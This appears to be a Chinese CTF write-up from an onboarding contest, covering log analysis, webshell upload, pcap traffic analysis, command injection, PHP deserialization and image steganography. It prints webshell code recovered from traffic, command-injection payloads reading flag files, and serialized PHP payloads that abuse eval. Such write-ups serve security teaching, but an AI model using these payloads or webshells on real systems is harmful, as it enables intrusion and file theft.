一次入职比赛原创

admin 2022年10月30日13:59:06一次入职比赛原创已关闭评论29 views字数 1831阅读6分6秒阅读模式

两次 Base64 解密即可

日志分析#

干扰项较多,利用正则删掉没用的系统日志,只保留 ssh,可以找到

May 12 00:11:42 redhat sshd[2560]: PAM service(sshd) ignoring max retries; 6 > 3
May 12 00:26:43 redhat sshd[2606]: Received disconnect from 192.168.38.137: 11: Bye Bye
May 12 00:26:43 redhat sshd[2608]: Accepted password for root from 192.168.38.137 port 33456 ssh2

文件上传#

简单测试可以发现,没有做严格的过滤,直接上传一个大马执行

20200605160834pMepdZ

在根目录找到 flag.php 文件,打开获得 flag

流量分析#

下载下来是 wireshark 流量包,直接过滤 http 协议,发现是对小马执行的远程操作

<?php
@ini_set("display_errors", "0");
@set_time_limit(0);
@set_magic_quotes_runtime(0);
echo "->|";
$D = base64_decode($_POST["z1"]);
$F = @opendir($D);
if ($F == NULL) {
    echo "ERROR:// Path Not Found Or No Permission!";
} else {
    $M = NULL;
    $L = NULL;
    while ($N = @readdir($F)) {
        $P = $D . "/" . $N;
        $T = @date("Y-m-d H:i:s", @filemtime($P));
        @($E = substr(base_convert(@fileperms($P), 10, 8), -4));
        $R = "\t" . $T . "\t" . @filesize($P) . "\t" . $E . "\r\n";
        if (@is_dir($P)) {
            $M .= $N . "/" . $R;
        } else {
            $L .= $N . $R;
        }
    }
    echo $M . $L;
    @closedir($F);
}
echo "|<-";
die;

z1 是 base64 编码的路径名称

查看发现中途请求了一次压缩包内容,按照上述代码,应该返回的是压缩包的 16 进制信息

20200605162216pgMvrR

导出压缩包信息

20200605162348CWaGIR

删除头尾多余的 Ascii 字符后,打开压缩包,发现需要密码

20200605162449gm6u0k

通过比较发现,最后一步 POST 之后多了个 password.docx 文件,推测可能进行了文件上传

20200605162030UPY4Lh

同上述方法,提取出上传的文件,保存为 1.docx,打开得到解压密码

20200605163650eRrMYH

上述压缩包输入解压密码可得 key

命令执行#

简单测试一下,发现是直接执行系统命令

尝试构造命令执行

127.0.0.1 | ls /home
127.0.0.1 | cat /home/flag.txt

获得 flag

代码审计#

代码拷贝到本地来,发现 $text 为 public,可以修改控制

<?php

class Nice
{
    public $text;

    function cmd($poc)
    {
       $p='$poc="' . addslashes($poc) . '";';
        
        eval($p);
  
    }

    function __destruct()
    {
        $this->cmd($this->text);
    }
}

$nice=new Nice();
$_GET[0]="./flag.php";
$nice->text='${var_dump(file_get_contents($_GET[0]))}';

$nice=serialize($nice);
var_dump($nice);
unserialize($nice);

其中,使用 addslashes 函数对符号进行转义,使用 ${}进行绕过,表示这是一个变量

payload 为:

a=O:4:"Nice":1:{s:4:"text";s:40:"${var_dump(scandir())}";}```
->发现flag.php,为了避免引号被转义,可以额外传入一个参数0获取flag

a=O:4:"Nice":1:{s:4:"text";s:40:"${var_dump(file_get_contents($_GET[0]))}";}&0=./flag.php

图像隐写#

下载下来是一张图片,用 binwalk 查看

20200606071434BsxmMW

发现里面藏着一个压缩包,使用 dd 分离压缩包

dd if=1591341008631.png of=1.zip skip=128394 bs=1

分离出的压缩包是加密的,利用爆破工具进行爆破,得到密码 1231

解压后还是一张图片,在图片尾部发现 flag

202006060718213WUwYe

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年10月30日13:59:06
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   一次入职比赛原创http://cn-sec.com/archives/1380203.html